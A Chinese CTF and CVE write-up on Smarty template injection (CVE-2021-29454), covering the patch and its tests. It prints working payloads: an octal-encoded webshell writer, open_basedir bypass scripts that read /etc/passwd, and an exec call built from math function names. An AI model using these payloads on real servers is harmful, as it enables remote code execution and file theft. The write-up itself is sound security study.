CVE-2021-29454——Smarty模板注入
漏洞報(bào)告
Smarty 是 PHP 的模板引擎,有助于將表示 (HTML/CSS) 與應(yīng)用程序邏輯分離。在 3.1.42 和 4.0.2 版本之前,模板作者可以通過(guò)制作惡意數(shù)學(xué)字符串來(lái)運(yùn)行任意 PHP 代碼。如果數(shù)學(xué)字符串作為用戶提供的數(shù)據(jù)傳遞給數(shù)學(xué)函數(shù),則外部用戶可以通過(guò)制作惡意數(shù)學(xué)字符串來(lái)運(yùn)行任意 PHP 代碼。用戶應(yīng)升級(jí)到版本 3.1.42 或 4.0.2 以接收補(bǔ)丁。
源碼分析
對(duì)比官方修復(fù)的代碼,在/plugins/function.math.php添加了如下一段
// Remove whitespaces$equation = preg_replace('/\s+/', '', $equation);// Adapted from https://www.php.net/manual/en/function.eval.php#107377$number = '(?:\d+(?:[,.]\d+)?|pi|π)'; // What is a number$functionsOrVars = '((?:0x[a-fA-F0-9]+)|([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*))';$operators = '[+/*^%-]'; // Allowed math operators$regexp = '/^(('.$number.'|'.$functionsOrVars.'|('.$functionsOrVars.'\s*((?1)+)|((?1)+)))(?:'.$operators.'(?2))?)+$/';if (!preg_match($regexp, $equation)) {trigger_error("math: illegal characters", E_USER_WARNING);return;}對(duì)惡意拼接的數(shù)學(xué)字符串進(jìn)行過(guò)濾(漏洞利用POC格式其實(shí)也在這里寫(xiě)出來(lái)了,參考$regexp)
而在較低版本下,缺少過(guò)濾部分,進(jìn)而導(dǎo)致RCE
具體的POC我會(huì)在下面利用部分詳寫(xiě)的
并且,在tests/UnitTests/TemplateSource/ValueTests/Math/MathTest.php中,也有添加
/*** @expectedException PHPUnit_Framework_Error_Warning*/public function testBackticksIllegal(){$expected = "22.00";$tpl = $this->smarty->createTemplate('eval:{$x = "4"}{$y = "5.5"}{math equation="`ls` x * y" x=$x y=$y}');$this->assertEquals($expected, $this->smarty->fetch($tpl));}/*** @expectedException PHPUnit_Framework_Error_Warning*/public function testDollarSignsIllegal(){$expected = "22.00";$tpl = $this->smarty->createTemplate('eval:{$x = "4"}{$y = "5.5"}{math equation="$" x=$x y=$y}');$this->assertEquals($expected, $this->smarty->fetch($tpl));}/*** @expectedException PHPUnit_Framework_Error_Warning*/public function testBracketsIllegal(){$expected = "I";$tpl = $this->smarty->createTemplate('eval:{$x = "0"}{$y = "1"}{math equation="((y/x).(x))[x]" x=$x y=$y}');$this->assertEquals($expected, $this->smarty->fetch($tpl));}漏洞利用實(shí)例——紅明谷 2022 | Smarty calculator
【相關(guān)技術(shù)文檔】
考點(diǎn)
- Smarty3.1.39 模板注入(CVE-2021-29454)
- Bypass open_basedir
- Bypass disable_functions
過(guò)程詳解
看到Smarty,聯(lián)系題目描述就明白這是Smarty模板注入,但是出題人修改了模板規(guī)則(真滴茍啊)。
一般情況下輸入{$smarty.version},就可以看到返回的Smarty當(dāng)前版本號(hào),此題版本是3.1.39。
掃一下網(wǎng)站,發(fā)現(xiàn)存在源碼泄露,訪問(wèn)www.zip即可下載,打開(kāi)分析。
index.php
<!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><title>Smarty calculator</title> </head> <body background="img/1.jpg"> <div align="center"><h1>Smarty calculator</h1> </div> <div style="width:100%;text-align:center"><form action="" method="POST"><input type="text" style="width:150px;height:30px" name="data" placeholder=" 輸入值進(jìn)行計(jì)算" value=""><br><input type="submit" value="Submit"></form> </div> </body> </html> <?php error_reporting(0); include_once('./Smarty/Smarty.class.php'); $smarty = new Smarty(); $my_security_policy = new Smarty_Security($smarty); $my_security_policy->php_functions = null; $my_security_policy->php_handling = Smarty::PHP_REMOVE; $my_security_policy->php_modifiers = null; $my_security_policy->static_classes = null; $my_security_policy->allow_super_globals = false; $my_security_policy->allow_constants = false; $my_security_policy->allow_php_tag = false; $my_security_policy->streams = null; $my_security_policy->php_modifiers = null; $smarty->enableSecurity($my_security_policy);function waf($data){$pattern = "php|<|flag|?";$vpattern = explode("|", $pattern);foreach ($vpattern as $value) {if (preg_match("/$value/", $data)) {echo("<div style='width:100%;text-align:center'><h5>Calculator don not like U<h5><br>");die();}}return $data; }if(isset($_POST['data'])){if(isset($_COOKIE['login'])) {$data = waf($_POST['data']);echo "<div style='width:100%;text-align:center'><h5>Only smarty people can use calculators:<h5><br>";$smarty->display("string:" . $data);}else{echo "<script>alert("你還沒(méi)有登錄")</script>";} }在index.php中定義了waf函數(shù),會(huì)檢測(cè)$data中是否含有php < flag字樣,這個(gè)還是蠻好繞的。
還會(huì)檢測(cè)cookie中l(wèi)ogin是否存在且值不為零,只要在cookie上添加就好。
剩下的太多了。。。所以我篩選了一下,發(fā)現(xiàn)出題人應(yīng)該只修改過(guò)3個(gè)文件。
用Beyond Compare對(duì)比一下官方模板,發(fā)現(xiàn)了出題人重點(diǎn)修改的地方就是正則匹配。
在CVE-2021-29454,有關(guān)Smarty的安全問(wèn)題上,也有提到
- 阻止$smarty.template_object在沙盒模式下訪問(wèn)
- 修復(fù)了通過(guò)使用非法函數(shù)名的代碼注入漏洞{function name=‘blah’}{/function}
那么接下來(lái),請(qǐng)欣賞各種優(yōu)雅的過(guò)正則姿勢(shì)
姿勢(shì)一
在正則處打下斷點(diǎn)進(jìn)行測(cè)試,
發(fā)現(xiàn)可以通過(guò)換行繞過(guò)正則
設(shè)置完cookie后,url編碼一下,POST傳參,poc執(zhí)行成功
但是不能直接cat /flag,有disable_functions以及open_basedir,繞過(guò)open_basedir的方法可太多了,我之前寫(xiě)了一篇文章你的open_basedir安全嗎? - 先知社區(qū) (aliyun.com)
syslink() php 4/5/7/8
symlink(string $target, string $link): bool原理是創(chuàng)建一個(gè)鏈接文件 aaa 用相對(duì)路徑指向 A/B/C/D,再創(chuàng)建一個(gè)鏈接文件 abc 指向 aaa/…/…/…/…/etc/passwd,其實(shí)就是指向了 A/B/C/D/…/…/…/…/etc/passwd,也就是/etc/passwd。這時(shí)候刪除 aaa 文件再創(chuàng)建 aaa 目錄但是 abc 還是指向了 aaa 也就是 A/B/C/D/…/…/…/…/etc/passwd,就進(jìn)入了路徑/etc/passwd payload 構(gòu)造的注意點(diǎn)就是:要讀的文件需要往前跨多少路徑,就得創(chuàng)建多少層的子目錄,然后輸入多少個(gè)…/來(lái)設(shè)置目標(biāo)文件。
<?php highlight_file(__FILE__); mkdir("A");//創(chuàng)建目錄 chdir("A");//切換目錄 mkdir("B"); chdir("B"); mkdir("C"); chdir("C"); mkdir("D"); chdir("D"); chdir(".."); chdir(".."); chdir(".."); chdir(".."); symlink("A/B/C/D","aaa"); symlink("aaa/../../../../etc/passwd","abc"); unlink("aaa"); mkdir("aaa"); ?>ini_set()
ini_set()用來(lái)設(shè)置php.ini的值,在函數(shù)執(zhí)行的時(shí)候生效,腳本結(jié)束后,設(shè)置失效。無(wú)需打開(kāi)php.ini文件,就能修改配置。函數(shù)用法如下:
ini_set ( string $varname , string $newvalue ) : stringPOC
<?php highlight_file(__FILE__); mkdir('Andy'); //創(chuàng)建目錄 chdir('Andy'); //切換目錄 ini_set('open_basedir','..'); //把open_basedir切換到上層目錄 chdir('..'); //切換到根目錄 chdir('..'); chdir('..'); ini_set('open_basedir','/'); //設(shè)置open_basedir為根目錄 echo file_get_contents('/etc/passwd'); //讀取/etc/passwd姿勢(shì)二
其實(shí)這個(gè)正則并不難,我們可以直接利用八進(jìn)制數(shù),然后借用Smarty的math equation,直接寫(xiě)入一句話shell,Antsword連接就好。
payload:
eval:{$x="42"}{math equation="("\146\151\154\145\137\160\165\164\137\143\157\156\164\145\156\164\163")("\141\56\160\150\160","\74\77\160\150\160\40\145\166\141\154\50\44\137\122\105\121\125\105\123\124\133\47\120\141\143\153\47\135\51\73\77\76")"}然后蟻劍連接,在根目錄下得到flag
姿勢(shì)三
既然我們能利用函數(shù)名了,那么我們也可以用一些數(shù)學(xué)函數(shù)執(zhí)行命令,我當(dāng)時(shí)用就是這一種(其實(shí)是另外兩種沒(méi)想到,嘿嘿嘿)
<?php highlight_file(__FILE__); //error_reporting(0); include_once('./Smarty/Smarty.class.php'); $smarty = new Smarty(); $my_security_policy = new Smarty_Security($smarty); $my_security_policy->php_functions = null; $my_security_policy->php_handling = Smarty::PHP_REMOVE; $my_security_policy->php_modifiers = null; $my_security_policy->static_classes = null; $my_security_policy->allow_super_globals = false; $my_security_policy->allow_constants = false; $my_security_policy->allow_php_tag = false; $my_security_policy->streams = null; $my_security_policy->php_modifiers = null; $smarty->enableSecurity($my_security_policy); //$smarty->display("string:" . '{math equation="p;('exp'[0].'exp'[1].'exp'[0].'cos'[0])('cos'[0].'abs'[0].'tan'[0].'floor'[0].'floor'[1].'abs'[0].'log'[2]);" p=1 }'); $smarty->display("string:" . '{math equation="p;('exp'[0].'exp'[1].'exp'[0].'cos'[0])('cos'[0].'abs'[0].'tan'[0].' ./'.'floor'[0].'floor'[1].'abs'[0].'log'[2].'>1');" p="1" }'); //exec('cat /flag')>1 ?>將執(zhí)行結(jié)果寫(xiě)入1文件,同樣,因?yàn)橛衐isable_functions以及open_basedir,所以執(zhí)行會(huì)不成功嗎,重復(fù)姿勢(shì)一,就能繞過(guò)。
總結(jié)
以上是生活随笔為你收集整理的CVE-2021-29454——Smarty模板注入的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 「安全技术」针对常见混淆技术的反制措施
- 下一篇: 【网络安全】域渗透之完全绕开安全组件